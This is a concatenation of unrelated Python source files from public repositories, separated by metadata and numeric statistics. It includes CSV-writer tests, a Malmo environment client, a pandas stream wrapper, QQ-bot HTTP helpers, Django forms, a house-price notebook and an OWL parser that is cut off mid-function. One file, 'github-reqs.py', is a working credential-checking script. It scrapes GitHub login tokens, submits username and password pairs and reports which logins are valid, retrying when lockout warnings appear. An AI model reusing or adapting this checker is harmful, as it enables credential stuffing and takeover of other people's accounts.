#!/usr/bin/env python3 # -*- coding: utf-8 -*- import pytest from draugr import PROJECT_APP_PATH from draugr.writers import CSVWriter __author__ = "Christian Heider Nielsen" __doc__ = r""" """ @pytest.mark.parametrize( ["tag", "val", "step"], (("signal", 0, 0), ("signal", 20, 1), ("signal", -1, 6)), ids=["signal_first", "signal_second", "signal_sixth"], ) def test_valid_scalars(tag, val, step): with CSVWriter(path=PROJECT_APP_PATH.user_log / "csv_writer") as w: w.scalar(tag, val, step) @pytest.mark.parametrize( ["tag", "val", "step"], (("signal", "", 0), ("signal", None, 1), ("signal", object(), 6)), ids=["str_scalar", "None_scalar", "object_scalar"], ) def test_invalid_val_type_scalars(tag, val, step): try: with CSVWriter(path=PROJECT_APP_PATH.user_log / "csv_writer") as w: w.scalar(tag, val, step) assert False except Exception as e: assert True @pytest.mark.parametrize( ["tag", "val", "step"], ((1, 0, 0), (None, 20, 1), (object(), -1, 6)), ids=["numeral_tag", "None_tag", "object_tag"], ) def test_invalid_tag_scalars(tag, val, step): try: with CSVWriter(path=PROJECT_APP_PATH.user_log / "csv_writer") as w: w.scalar(tag, val, step) assert False except Exception as e: print(e) assert True @pytest.mark.parametrize( ["tag", "val", "step"], (("signal", 0, ""), ("signal", 20, None), ("tag1", -0, object())), ids=["str_step", "None_step", "object_step"], ) def test_invalid_step_type_scalars(tag, val, step): try: with CSVWriter(path=PROJECT_APP_PATH.user_log / "csv_writer") as w: w.scalar(tag, val, step) assert False except Exception as e: print(e) assert True

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0.600443

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4.237705

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0.069633

0.116054

0.092843

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0.440039

0

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0.223575

1,807

64

76

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0.719173

0.023796

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0.576923

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1

0.076923

false

0

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0.134615

0.038462

0

null

0

null

0

1

0

c5d3ce795825a573ecfd97ed106d9047f0b7c331

2,242

py

Python

MalmoEnv/proxyenv/malmo_proxyenv_client.py

andredornas/malmo

26433ad2e60035726232ab54a3dac044dea9724f

[ "MIT" ]

3,570

2016-07-08T04:04:25.000Z

2019-05-05T12:05:38.000Z

MalmoEnv/proxyenv/malmo_proxyenv_client.py

NickKok/malmo

26433ad2e60035726232ab54a3dac044dea9724f

[ "MIT" ]

592

2016-07-08T10:33:40.000Z

2019-05-03T15:08:15.000Z

MalmoEnv/proxyenv/malmo_proxyenv_client.py

NickKok/malmo

26433ad2e60035726232ab54a3dac044dea9724f

[ "MIT" ]

607

2016-07-08T01:01:52.000Z

2019-05-05T22:06:40.000Z

# ------------------------------------------------------------------------------------------------ # Copyright (c) 2019 Microsoft Corporation # # Permission is hereby granted, free of charge, to any person obtaining a copy of this software and # associated documentation files (the "Software"), to deal in the Software without restriction, # including without limitation the rights to use, copy, modify, merge, publish, distribute, # sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all copies or # substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT # NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, # DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # ------------------------------------------------------------------------------------------------ import gym import numpy as np import proxyenv.client from argparse import ArgumentParser, ArgumentDefaultsHelpFormatter arg_parser = ArgumentParser(description='example malmo env runner', formatter_class=ArgumentDefaultsHelpFormatter) arg_parser.add_argument('--host', type=str, default='localhost', help='Optional host to connect to.') arg_parser.add_argument('--port', type=int, default=50050, help='Optional port to connect to.') args = arg_parser.parse_args() config = {"mission_file": "MalmoPlatform9000/MalmoEnv/missions/findthegoal.xml"} env = proxyenv.client.ProxyEnv(args.host, args.port, config) env.reset() done = False while not done: action = env.action_space.sample() print("action " + repr(action)) obs, reward, done, info = env.step(action) print("obs " + repr(obs)) print("reward " + repr(reward)) print("done " + repr(done)) print("info " + repr(info)) env.close()

43.960784

101

0.684211

286

2,242

5.328671

0.520979

0.057743

0.01706

0.026247

0

0.006831

0.151204

2,242

50

102

44.84

0.794009

0.559768

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0.052686

0

1

0

false

0

0.181818

0

0.181818

0.227273

0

null

0

null

0

1

0

c5d6e141d164bfaecd369a0ec83a3d87322f3c80

6,263

py

Python

streams/wrappers/pandas_stream.py

kefir/snakee

a17734d4b2d7dfd3e6c7b195baa128fbc84d197b

[ "MIT" ]

null

streams/wrappers/pandas_stream.py

kefir/snakee

a17734d4b2d7dfd3e6c7b195baa128fbc84d197b

[ "MIT" ]

null

streams/wrappers/pandas_stream.py

kefir/snakee

a17734d4b2d7dfd3e6c7b195baa128fbc84d197b

[ "MIT" ]

2

2021-04-10T19:22:15.000Z

2022-03-08T19:37:56.000Z

from typing import Optional, Iterable, Union try: # Assume we're a sub-module in a package. from utils import arguments as arg from utils.external import pd, DataFrame from interfaces import StreamInterface, ColumnarInterface, Field from streams import stream_classes as sm except ImportError: # Apparently no higher-level package has been imported, fall back to a local import. from ...utils import arguments as arg from ...utils.external import pd, DataFrame from ...interfaces import StreamInterface, ColumnarInterface, Field from .. import stream_classes as sm Native = Union[StreamInterface, ColumnarInterface] class PandasStream(sm.WrapperStream, sm.ColumnarMixin, sm.ConvertMixin): def __init__( self, data, name=arg.AUTO, source=None, context=None, ): assert pd, 'Pandas must be installed and imported for instantiate PandasStream (got fallback {})'.format(pd) if isinstance(data, DataFrame) or data.__class__.__name__ == 'DataFrame': dataframe = data elif hasattr(data, 'get_dataframe'): # isinstance(data, RecordStream): dataframe = data.get_dataframe() else: # isinstance(data, (list, tuple)): dataframe = DataFrame(data=data) super().__init__( dataframe, name=name, source=source, context=context, ) def get_data(self) -> DataFrame: return super().get_data() @staticmethod def get_item_type(): return pd.Series @classmethod def _is_valid_item(cls, item) -> bool: return isinstance(item, pd.Series) def is_in_memory(self) -> bool: return True def get_dataframe(self, columns=None) -> DataFrame: data = self.get_data() assert isinstance(data, DataFrame) if columns: data = data[columns] return data def get_count(self, final: bool = False) -> Optional[int]: data = self.get_data() assert isinstance(data, DataFrame) return data.shape[0] def get_items(self) -> Iterable: yield from self.get_dataframe().iterrows() def get_records(self, columns=arg.AUTO) -> Iterable: stream = self.select(*columns) if arg.is_defined(columns) else self return stream._get_mapped_items(lambda i: i[1].to_dict()) def get_rows(self, columns=arg.AUTO): stream = self.select(*columns) if arg.is_defined(columns) else self return stream._get_mapped_items(lambda i: i[1].to_list()) def get_columns(self) -> Iterable: return self.get_dataframe().columns def get_expected_count(self) -> int: return self.get_dataframe().shape[0] def take(self, count: Union[int, bool] = 1) -> Native: if isinstance(count, bool): if count: return self else: return self.stream(DataFrame()) elif isinstance(count, int): return self.stream( self.get_dataframe().head(count), ) else: raise TypeError('Expected count as int or bool, got {}'.format(count)) def get_one_column_values(self, column: Field) -> Iterable: column_name = arg.get_name(column) return self.get_dataframe()[column_name] def add_dataframe(self, dataframe: DataFrame, before=False) -> Native: if before: frames = [dataframe, self.get_dataframe()] else: frames = [self.get_dataframe(), dataframe] concatenated = pd.concat(frames) return self.stream(concatenated) def add_items(self, items: Iterable, before: bool = False) -> Native: dataframe = DataFrame(items) return self.add_dataframe(dataframe, before) def add_stream(self, stream: StreamInterface, before: bool = False) -> Native: if isinstance(stream, PandasStream): return self.add_dataframe(stream.get_data(), before=before) else: return self.add_items(stream.get_items(), before=before) def add(self, dataframe_or_stream_or_items, before: bool = False, **kwargs) -> Native: assert not kwargs, 'kwargs for PandasStream.add() not supported' if isinstance(dataframe_or_stream_or_items, DataFrame): return self.add_dataframe(dataframe_or_stream_or_items, before) elif isinstance(dataframe_or_stream_or_items, StreamInterface) or sm.is_stream(dataframe_or_stream_or_items): return self.add_stream(dataframe_or_stream_or_items, before) elif isinstance(dataframe_or_stream_or_items, Iterable): return self.add_items(dataframe_or_stream_or_items) else: msg = 'dataframe_or_stream_or_items must be DataFrame, Stream or Iterable, got {}' raise TypeError(msg.format(dataframe_or_stream_or_items)) def select(self, *fields, **expressions) -> Native: assert not expressions, 'custom expressions are not implemented yet' dataframe = self.get_dataframe(columns=fields) return self.stream(dataframe) def filter(self, *filters, **expressions) -> Native: assert not filters, 'custom filters are not implemented yet' pandas_filter = None for k, v in expressions.items(): one_filter = self.get_one_column_values(k) == v if pandas_filter: pandas_filter = pandas_filter & one_filter else: pandas_filter = one_filter if pandas_filter: data = self.get_data()[pandas_filter] return self.stream(data) else: return self def sort(self, *keys, reverse: bool = False) -> Native: dataframe = self.get_dataframe().sort_values( by=keys, ascending=not reverse, ) return self.stream(dataframe) def group_by(self, *keys, as_pairs: bool = False) -> Native: grouped = self.get_dataframe().groupby( by=keys, as_index=as_pairs, ) return self.stream(grouped) def is_empty(self) -> bool: return self.get_count() == 0 def collect(self) -> Native: return self

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0.051908

0.041526

0.049312

0.253569

0.194654

0.1687

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0

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0.268721

6,263

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0

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0

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1

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false

0

0.078571

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0.457143

0

null

0

null

0

1

0

c5d75329430bdda15fd5e6ec9cd27c0a98a28ad4

2,088

py

Python

botstart/util/wfUtils.py

cat991/py-go-cqhttp

4042b697ddaba24687311088390db8d7e8f977d4

[ "MIT" ]

2

2022-03-05T18:49:19.000Z

2022-03-07T13:23:57.000Z

botstart/util/wfUtils.py

cat991/py-go-cqhttp

4042b697ddaba24687311088390db8d7e8f977d4

[ "MIT" ]

null

botstart/util/wfUtils.py

cat991/py-go-cqhttp

4042b697ddaba24687311088390db8d7e8f977d4

[ "MIT" ]

null

import requests import win32api,win32con import json,os,sys configs={ 'url':"http://127.0.0.1:10429", 'textcont': 0 } #获取桌面路径 def get_desktop(): key =win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,r'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',0,win32con.KEY_READ) return win32api.RegQueryValueEx(key,'Desktop')[0] #发送私聊消息 def privatemsg(login,toqq,text): url = configs.get('url')+ '/sendprivatemsg' print('====>触发私聊消息') data = { 'logonqq':login, 'toqq':toqq, 'msg':text } requests.post(url,data=data) #获取框架登陆qq信息 def getlogonqq(): url = configs.get('url')+'/getlogonqq' return requests.post(url).text #上传zk内容图片 def uploadzkpic(loginqq,group,path): url = configs.get('url')+'/uploadgrouppic' data={ 'logonqq': loginqq, 'group': group, 'type':"path", 'pic':os.path.dirname(os.path.realpath(sys.argv[0]))+'\\'+path+'.png' } resp = requests.post(url, data=data).text resp = json.loads(resp)['ret'] return resp #上传群图片 def uploadgrouppic(loginqq,group,path,type='path'): url = configs.get('url')+'/uploadgrouppic' data={ 'logonqq': loginqq, 'group': group, 'type':type, 'pic':path } resp = requests.post(url, data=data).text resp = json.loads(resp)['ret'] return resp #发送群聊消息 def groupmsg(logonqq,group,msg,type=''): url = configs.get('url') + '/sendgroupmsg' print('====>触发群消息' ) data = { 'type':type, 'logonqq': logonqq, 'group':group, 'msg':msg, 'anonymous':'false' } requests.post(url, data=data) #添加群 def addgroup(logonqq,group): url = configs.get('url')+'/addgroup' data = { 'logonqq': logonqq, 'group': group, 'msg': '你好我是奥迪斯' } return requests.post(url,data=data) #取群列表 def getgrouplist(logonqq): url = configs.get('url')+'/getgrouplist' data = { 'logonqq':logonqq } resp = requests.post(url,data=data).text resp = json.loads(resp)['list']['List'] return resp

25.156627

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0.028169

0

null

0

null

0

1

0

c5da98c798e1102a47991773a56205130565910e

17,288

py

Python

App/forms.py

dlanghorne0428/StudioMusicPlayer

54dabab896b96d90b68d6435edfd52fe6a866bc2

[ "MIT" ]

null

App/forms.py

dlanghorne0428/StudioMusicPlayer

54dabab896b96d90b68d6435edfd52fe6a866bc2

[ "MIT" ]

44

2022-01-21T01:33:59.000Z

2022-03-26T23:35:25.000Z

App/forms.py

dlanghorne0428/StudioMusicPlayer

54dabab896b96d90b68d6435edfd52fe6a866bc2

[ "MIT" ]

null

from datetime import time from django import forms from django.contrib.auth.forms import UserCreationForm from django.forms import Form, ModelForm, CheckboxInput, NumberInput, Textarea from crispy_forms.helper import FormHelper from crispy_forms.layout import Column, Div, Field, HTML, Layout, Row, Submit from crispy_forms.bootstrap import AppendedText, FormActions from .models.song import Song, SongFileInput, SpotifyTrackInput, DANCE_TYPE_CHOICES, HOLIDAY_CHOICES, HOLIDAY_USE_OPTIONS, HOLIDAY_DEFAULT_USAGE #StreamingSongInput, from .models.user import User from .models.playlist import Playlist class SongFileInputForm(ModelForm): '''form for uploading new music from a file.''' class Meta: model = SongFileInput # allow user to specify file, dance_type, and select holiday if any fields = ['audio_file', 'dance_type', 'holiday'] class SpotifyTrackInputForm(ModelForm): '''form for uploading new music from a file.''' class Meta: model = SpotifyTrackInput # allow user to specify file, dance_type, and select holiday if any fields = ['track_id', 'title', 'artist', 'dance_type', 'holiday'] class SpotifySearchForm(Form): search_term = forms.CharField( label='Keywords', max_length=100, required = True) content_type = forms.ChoiceField( choices = [("album", "Album"), ("artist", "Artist"), ("playlist", "Playlist"), ("track", "Track")], widget = forms.RadioSelect, required = True) class SongEditForm(ModelForm): '''form to edit info for an existing song.''' title = forms.CharField( label = "Title", max_length = 80, # ensure the field is wide enough to show the title required = True, ) artist = forms.CharField( label = "Artist", max_length = 80, # ensure the field is wide enough to show the artist required = True, ) def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.helper = FormHelper() self.helper.form_id = 'id-songEditForm' self.helper.form_method = 'post' # this is needed to return files from the form self.helper.attrs = {'enctype': 'multipart/form-data'} self.helper.label_class='fw-bold mt-2' # allow some top margin for the form self.helper.layout = Layout( # show the fields in this order 'title', 'artist', 'image', 'dance_type', 'holiday', FormActions( # submit button and cancel link in the form of a button Submit('save', 'Save changes'), HTML("""<a href="{% url 'App:all_songs' %}" class="btn btn-secondary">Cancel</a>"""), # add some y-margin around the buttons. css_class="my-3" ) ) class Meta: # obtain data from these fields of the song model model = Song fields = ['title', 'artist', 'image', 'dance_type', 'holiday'] class PlaylistInfoForm(ModelForm): ''' form to enter information for a playlist ''' title = forms.CharField( label = "", max_length = 50, # ensure the field is wide enough to show the title required = True) description = forms.CharField( label = "Description", required = False, # limit height of this field to 3 rows widget = Textarea(attrs={'rows': 3})) is_showcase_or_comp = forms.BooleanField( label = "Competition/Showcase", required = False) # this field must not be required in order to set it to false auto_continue = forms.BooleanField( label = "Autoplay Next Song", required = False) # this field must not be required in order to set it to false max_song_duration = forms.ChoiceField( label = "Song Time Limit", required = False, # use a dropdown field for the song time limit choices = ( (time(minute=30), "------"), (time(minute=1, second=15), "1:15"), (time(minute=1, second=30), "1:30"), (time(minute=1, second=45), "1:45"), (time(minute=2, second= 0), "2:00"), (time(minute=2, second=15), "2:15"), (time(minute=2, second=30), "2:30"), (time(minute=2, second=45), "2:45"), (time(minute=3, second= 0), "3:00") ) ) def __init__(self, *args, **kwargs): # this form is used for playlist creation and editing. # submit_title argument tells us which it is. self.submit_title = kwargs.pop('submit_title') super(PlaylistInfoForm, self).__init__(*args, **kwargs) self.helper = FormHelper() self.helper.form_id = 'id-PlaylistEditForm' self.helper.form_method = 'post' # Form labels will be bold text self.helper.label_class = 'fw-bold' if self.submit_title is not None: self.helper.layout = Layout( # first row has two columns: title and checkboxes Row( Column( Field('title', css_class='fs-3 px-0 text-center'), css_class="col-8 offset-2"), Column('is_showcase_or_comp', 'auto_continue', css_class="col-2 text-start"), ), # next row has two columns: description field in the right column is 3 rows tall Row( Column('max_song_duration', css_class="col-2 offset-2"), Column('description',css_class='text-start col-8 lh-sm'), ), # submit and cancel buttons are included, button text comes from submit_title FormActions( Submit('submit', self.submit_title), HTML("""<a href="{% url 'App:all_playlists' %}" class="btn btn-secondary">Cancel</a>"""), css_class="my-2" ) ) else: # same layout as above without submit/cancel buttons as javascript is used to submit the form self.helper.layout = Layout( Row( Column( Field('title', css_class='fs-3 px-0 text-center'), css_class="col-8 offset-2"), Column('is_showcase_or_comp', 'auto_continue', css_class="col-2 text-start"), ), Row( Column('max_song_duration', css_class="col-2 offset-2"), Column('description',css_class='text-start col-8 lh-sm'), ), ) class Meta: model = Playlist # include these fields in the form fields = ['title', 'description', 'is_showcase_or_comp', 'auto_continue', 'max_song_duration'] class RandomPlaylistForm(Form): '''form to specify parameters when populating a random playlist.''' save_preferences = forms.BooleanField( label = "Save these settings as the default for your future playlists?", initial = False, required = False) def __init__(self, *args, **kwargs): # get the preferences in this dictionary argument self.prefs = kwargs.pop('prefs') super(RandomPlaylistForm, self).__init__(*args, **kwargs) self.fields['number_of_songs'] = forms.IntegerField( label = "Number of Songs", min_value = 1, max_value = 100, initial = self.prefs['playlist_length'], # center the text in this input box widget = NumberInput(attrs={'class': 'text-center'}), required = True) self.fields['prevent_back_to_back_styles'] = forms.BooleanField( # add information icon to the end of the label label = "Prevent Same Style Back-to-Back \u24d8" , initial = self.prefs['prevent_back_to_back_styles'], required = False) self.fields['prevent_back_to_back_tempos'] = forms.BooleanField( # add information icon to the end of the label label = "Prevent Same Tempo Back-to-Back \u24d8" , initial = self.prefs['prevent_back_to_back_tempos'], required = False) field_names = list() # these fields allow the user to enter percentages for each dance style # add them to the form using a loop for dance_type_tuple in DANCE_TYPE_CHOICES: # constuct field name based on dance type abbreviation (e.g. 'Cha') field_name = '%s_pct' % (dance_type_tuple[0], ) self.fields[field_name] = forms.IntegerField( # field label is the readable name for this dance type label = dance_type_tuple[1], min_value = 0, max_value = 100, initial = self.prefs['percentages'][dance_type_tuple[0]], # right-justify the text in these input boxes widget = NumberInput(attrs={'class': 'text-end'}), required = True) # build a list of field names for use in column layout field_names.append(field_name) # these fields allow the user to enter preferences for each holiday # add them to the form using a loop for holiday_tuple in HOLIDAY_CHOICES: field_name = "%s_use" % (holiday_tuple[0], ) self.fields[field_name] = forms.ChoiceField( label = holiday_tuple[1], choices = HOLIDAY_USE_OPTIONS, initial = self.prefs['holiday_usage'][holiday_tuple[0]], required = True ) field_names.append(field_name) # see django-crispy-forms example self.helper = FormHelper() self.helper.form_id = 'id-random-playlist-Form' self.helper.form_method = 'post' self.helper.layout = Layout( # first row has two columns Row( # style the label with font weight bold and font size 5 Column('number_of_songs', css_class="fw-bold fs-5 col-2 offset-4"), Column( # add tooltips to these fields. Using Div applies tooltip to combination of label and checkbox Div('prevent_back_to_back_styles', data_bs_toggle="tooltip", data_bs_placement="right", title="Checking this box prevents the playlist from having two consecutive songs of the same dance style.", ), Div('prevent_back_to_back_tempos', data_bs_toggle="tooltip", data_bs_placement="right", title="Checking this box prevents the playlist from having two consecutive fast songs or two consecutive slow songs.", ), # left-justify the second column, keep it toward the middle of the form css_class='text-start px-4 col-6'), # align the bottom of the two columns in this row css_class='align-items-end' ), # second row has two column titles, one for percentages, the other for holidays Row( Column( HTML("<h4 class='text-center'>Select Percentages for each dance style</h4>"), HTML("<h6 class='text-center'>Values must add up to 100 percent</h6>"), # percentage data should take 9/12 of the window css_class='col-9 text-center', ), Column( HTML("<h5 class='text-center'>Include Holiday-Themed Songs?</h5>"), # holidays only need 3/12 of the windoe css_class='col-3 text-center', ), # align the bottom of the two columns in this row css_class='align-items-end' ), # next row has two columns, one for percentage data, the other for holiday selections Row( Column( # first column is split into five sub-columns to set percentages for each dance type Row( Column(AppendedText(field_names[0], '%', active=True), AppendedText(field_names[1], '%', active=True), AppendedText(field_names[2], '%', active=True), AppendedText(field_names[3], '%', active=True), # each sub-column takes 2/12 of the enclosing column, first sub-column is offset 1/12 css_class="col-2 offset-1"), Column(AppendedText(field_names[4], '%', active=True), AppendedText(field_names[5], '%', active=True), AppendedText(field_names[6], '%', active=True), AppendedText(field_names[7], '%', active=True), css_class="col-2"), Column(AppendedText(field_names[8], '%', active=True), AppendedText(field_names[9], '%', active=True), AppendedText(field_names[10], '%', active=True), AppendedText(field_names[11], '%', active=True), css_class="col-2"), Column(AppendedText(field_names[12], '%', active=True), AppendedText(field_names[13], '%', active=True), AppendedText(field_names[14], '%', active=True), AppendedText(field_names[15], '%', active=True), css_class="col-2"), Column(AppendedText(field_names[16], '%', active=True), AppendedText(field_names[17], '%', active=True), AppendedText(field_names[18], '%', active=True), AppendedText(field_names[19], '%', active=True), css_class="col-2"), # put a dark border around the five subcolumns css_class='pt-2 border border-dark', # establish an ID for javascript to use css_id='enter-percentages' ), # this row for an error message is centered under the five subcolumns Row( # establish an ID so Javascript can modify this error text HTML("<p hidden id='percentage-error'>Current total is <span id='percentage-total'></span> percent</p>"), ), css_class='text-center' ), Column( # second column determines if holiday songs will be used Row( field_names[20], field_names[21], field_names[22], field_names[23], # put a border around these elements css_class='pt-2 border border-danger', # establish an ID for javascript to use css_id='enter-holidays' ), # this column takes 3/12 of the window and data is centered within that allocaation css_class='col-3 text-center' ), ), # this row has a save checkbox, it is centered in the entire window and has a top margin Row( Column('save_preferences'), css_class = 'col-12 text-center mt-3' ), # submit and cancel buttons FormActions( Submit('continue', 'Continue'), Submit('cancel', 'Cancel'), # provide a small margin in the y-direction, top and bottom css_class="my-1" ) ) # based on example at: https://github.com/sibtc/django-multiple-user-types-example class TeacherSignUpForm(UserCreationForm): ''' Create a signup form for teachers based on Django's User Creation Form. ''' class Meta(UserCreationForm.Meta): model = User # specify the model def save(self, commit=True): user = super().save(commit=False) # get the object saved by the Django form user.is_teacher = True # set is_teacher flag if commit: # save user object if everything ok user.save() return user

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null

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null

0

1

0

c5db6e8ce1d354081b1aa2dec66d342e859e99b3

2,839

py

Python

examples/github-reqs/github-reqs.py

andre798/PyBullet

53597c96b4c91bfffd3ef85be6162f2dbf1967a9

[ "MIT" ]

null

examples/github-reqs/github-reqs.py

andre798/PyBullet

53597c96b4c91bfffd3ef85be6162f2dbf1967a9

[ "MIT" ]

null

examples/github-reqs/github-reqs.py

andre798/PyBullet

53597c96b4c91bfffd3ef85be6162f2dbf1967a9

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ NAME: github-reqs.py AUTHOR: Ulyouth VERSION: 1.0.0 DATE: 15.10.2020 DESC: A PyBullet-based script to check which GitHub logins are valid using requests library. """ from chkutils import ChkUtils def chkMain(ss, test, rst, captcha, data): # Good practice, since 'data' can be both a list or string variable, # depending on the number of elements in each line if isinstance(data, list): user = data[0] pswd = data[1] else: # -200 = Exception = Terminate program! return [-200, 'Invalid list format'] # Class containing a list of useful functions. chk = ChkUtils() # Login GET link. lnk = 'https://github.com/login' # Retrieve the login page. r = chk.getnlog(ss, lnk, 'login.htm', 'github', user) # Obtain the necessary login tokens. auth_tok = chk.grab(r.text, 'authenticity_token" value="', '"') tstamp = chk.grab(r.text, 'timestamp" value="', '"') tsecret = chk.grab(r.text, 'timestamp_secret" value="', '"') # Check if any tokens are missing. if len(auth_tok) == 0 or len(tstamp) == 0 or len(tsecret) == 0: # -1 = Error = Retry! return [-1, 'Missing token'] elif test == 1: # Print the tokens if running in test mode. print('> authenticity_token: ' + auth_tok) print('> timestamp: ' + tstamp) print('> timestamp_secret: ' + tsecret) # Login POST link lnk = 'https://github.com/session' # Login POST data dict data = {'commit': 'Sign in', 'authenticity_token': auth_tok, # Not sure whats the 'ga_id' for, but it works using always the # same value. 'ga_id': '1348735984.1584973938', 'login': user, 'password': pswd, 'webauthn-support': 'supported', 'webauthn-iuvpaa-support': 'unsupported', 'return_to': '', 'allow_signup': '', 'client_id': '', 'integration': '', 'required_field_d202': '', 'timestamp': tstamp, 'timestamp_secret': tsecret } # Attempt to login. r = chk.postnlog(ss, lnk, 'login.htm', 'github', user, data = data) # Evaluate the login attempt. if r.text.find('Signed in as') != -1: return [100, user] # 100 = Valid password (display in green) elif r.text.find('Incorrect username or password.') != -1: return [200, user] # 200 = Invalid password (display in red) elif r.text.find('There have been several failed attempts') != -1: return [-2, user] # -2 = Error = Retry! else: return [0, user] # 0 = Unknown = Skip (display in yellow)

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null

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c5dd6cd1130e1740cdf8aab7d98bb4815a29fc80

1,649

py

Python

downloaded_kernels/house_sales/converted_notebooks/kernel_60.py

josepablocam/common-code-extraction

a6978fae73eee8ece6f1db09f2f38cf92f03b3ad

[ "MIT" ]

null

downloaded_kernels/house_sales/converted_notebooks/kernel_60.py

josepablocam/common-code-extraction

a6978fae73eee8ece6f1db09f2f38cf92f03b3ad

[ "MIT" ]

null

downloaded_kernels/house_sales/converted_notebooks/kernel_60.py

josepablocam/common-code-extraction

a6978fae73eee8ece6f1db09f2f38cf92f03b3ad

[ "MIT" ]

2

2021-07-12T00:48:08.000Z

2021-08-11T12:53:05.000Z

#!/usr/bin/env python # coding: utf-8 # In[ ]: import pandas as pd housing_data = pd.read_csv("../input/kc_house_data.csv") features = [u'bedrooms', u'bathrooms', u'sqft_living', u'floors', u'condition', u'grade', u'sqft_lot15', u'sqft_lot', u'sqft_above', u'sqft_living15', u'sqft_basement'] price = housing_data['price'] housing_data = pd.DataFrame(housing_data, columns=features) housing_data.head() # In[ ]: from sklearn.cross_validation import train_test_split X_train, X_test, y_train, y_test = train_test_split(housing_data, price, random_state=0) # In[ ]: from sklearn.preprocessing import StandardScaler sc = StandardScaler() sc.fit(X_train) X_train_std = sc.transform(X_train) X_test_std = sc.transform(X_test) # In[ ]: from pandas import read_csv, DataFrame from sklearn.neighbors import KNeighborsRegressor from sklearn.linear_model import LinearRegression, LogisticRegression from sklearn.svm import SVR from sklearn.ensemble import RandomForestRegressor models = [LinearRegression(), RandomForestRegressor(n_estimators=100, max_features ='sqrt'), KNeighborsRegressor(n_neighbors=6), SVR(kernel='linear'), ] train_results = [] for model in models: model.fit(X_train_std, y_train) y_train_pred = model.predict(X_train_std) y_test_pred = model.predict(X_test_std) train_results.append([model, y_train_pred, y_test_pred]) accuracy = model.score(X_test_std, y_test) print("Accuracy: {}%".format(int(round(accuracy * 100)))) # We can see what RandomForestRegressor coped best with this task, as much as 69(70) percent.

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0.029412

0

null

0

null

0

1

0

c5dd8fab99ed6bdc735238b1925cb9d8d989746e

4,580

py

Python

pgel_sat/owl/parser.py

AndrewIjano/pgel-sat

25b6ef5922a9fa79bbcf9896cf9a5eefd9925e45

[ "MIT" ]

null

pgel_sat/owl/parser.py

AndrewIjano/pgel-sat

25b6ef5922a9fa79bbcf9896cf9a5eefd9925e45

[ "MIT" ]

null

pgel_sat/owl/parser.py

AndrewIjano/pgel-sat

25b6ef5922a9fa79bbcf9896cf9a5eefd9925e45

[ "MIT" ]

null

import owlready2 as owl from .. import gel, pgel from . import pbox_parser def parse(file: str): onto = owl.get_ontology(file) onto.load() kb = get_kb(onto) pbox_restrictions = pbox_parser.get_restrictions(onto) return kb, pbox_restrictions def get_kb(onto): owl_concepts = list(onto.classes()) owl_individuals = list(onto.individuals()) owl_roles = onto.object_properties() kb = pgel.ProbabilisticKnowledgeBase(owl.Nothing.iri, owl.Thing.iri) add_concepts(kb, owl_concepts, gel.Concept) add_concepts(kb, owl_individuals, gel.IndividualConcept) add_roles(kb, owl_roles) add_role_inclusions_from_roles(kb, owl_roles) owl_basic_concepts = [owl.Thing] + owl_concepts + owl_individuals add_axioms_from_concepts(kb, owl_basic_concepts) return kb def add_concepts(kb, owl_concepts, concept_class: type): for owl_concept in owl_concepts: kb.add_concept(concept_class(owl_concept.iri)) def add_roles(kb, owl_roles): for owl_role in owl_roles: kb.add_role(gel.Role(owl_role.iri)) def add_role_inclusions_from_roles(kb, owl_roles): for owl_sup_role in owl_roles: for owl_sub_role in owl_sup_role.get_property_chain(): add_chained_role_inclusion(kb, owl_sub_role, owl_sup_role) for owl_sub_role in owl_sup_role.subclasses(): add_role_inclusion(kb, owl_sub_role, owl_sup_role) def add_chained_role_inclusion(kb, owl_sub_role_chain, owl_sup_role): owl_sub_role1, owl_sub_role2 = owl_sub_role_chain.properties kb.add_chained_role_inclusion( (owl_sub_role1.iri, owl_sub_role2.iri), owl_sup_role.iri) def add_role_inclusion(kb, owl_sub_role, owl_sup_role): kb.add_role_inclusion(owl_sub_role.iri, owl_sup_role.iri) def add_axioms_from_concepts(kb, owl_concepts): for sub_concept in owl_concepts: if sub_concept == owl.Nothing: continue for sup_concept in sub_concept.is_a: # ignore trivial axioms if sup_concept == owl.Thing: continue add_axiom(kb, sub_concept, sup_concept) for sup_concept in sub_concept.equivalent_to: add_axiom(kb, sub_concept, sup_concept) add_axiom(kb, sup_concept, sub_concept) if not is_concept(sub_concept): for sup_concept, role in get_individual_sup_and_role(sub_concept): pbox_id = pbox_parser.get_id(sub_concept, sup_concept) kb.add_axiom( sub_concept.iri, sup_concept.iri, role.iri, pbox_id) def add_axiom(kb, owl_sub_concept, owl_sup_concept): sub_concept_iri = get_sub_concept_iri(kb, owl_sub_concept) sup_concept_iri = get_sup_concept_iri(owl_sup_concept) role_iri = get_role_iri(kb, owl_sup_concept) pbox_id = pbox_parser.get_id(owl_sub_concept, owl_sup_concept) kb.add_axiom(sub_concept_iri, sup_concept_iri, role_iri, pbox_id) def get_sub_concept_iri(kb, owl_sub_concept): sub_concept = owl_sub_concept if is_existential(owl_sub_concept): sub_concept = create_existential_concept(owl_sub_concept) if sub_concept not in kb.concepts: kb.add_concept(sub_concept) return sub_concept.iri def get_role_iri(kb, owl_sup_concept): return extract_role_iri(owl_sup_concept) if is_existential( owl_sup_concept) else kb.is_a.iri def get_sup_concept_iri(owl_sup_concept): return extract_concept_iri(owl_sup_concept) if is_existential( owl_sup_concept) else owl_sup_concept.iri def create_existential_concept(owl_concept): role_iri = extract_role_iri(owl_concept) concept_iri = extract_concept_iri(owl_concept) existential_concept = gel.ExistentialConcept(role_iri, concept_iri) return existential_concept def is_existential(owl_concept): return isinstance(owl_concept, owl.class_construct.Restriction) def is_concept(owl_concept): return isinstance(owl_concept, owl.entity.ThingClass) def 